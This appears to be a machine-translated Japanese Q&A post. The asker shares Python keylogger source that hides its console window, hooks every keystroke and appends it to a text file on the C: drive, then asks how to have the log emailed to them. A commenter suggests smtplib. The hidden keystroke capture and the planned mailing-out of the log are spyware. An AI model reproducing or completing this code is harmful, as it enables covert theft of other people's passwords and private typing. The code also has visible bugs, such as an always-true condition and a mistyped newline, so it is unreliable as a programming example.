-3
最近私はpython keyloggerを作成しました。コードは電子メールにtxtファイルを送信するPythonプログラム
import win32api
import win32console
import win32gui
import pythoncom,pyHook
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
ですが、これを私の電子メールに送信したいと思います。これを可能にするために私が何を加えることができるか、あるいはこれを行う別のプログラムを考えていますか?事前に
おかげ
このキーロガーコードは電子メールの送信に関連していません。あなたはPythonで電子メールを送信しようとしましたか?どんな種類のメール?添付書類で? [smtplib](https://docs.python.org/2/library/smtplib.html)を使ってみましたか?このコードを電子メールを送信するコードに置き換えます。 – zvone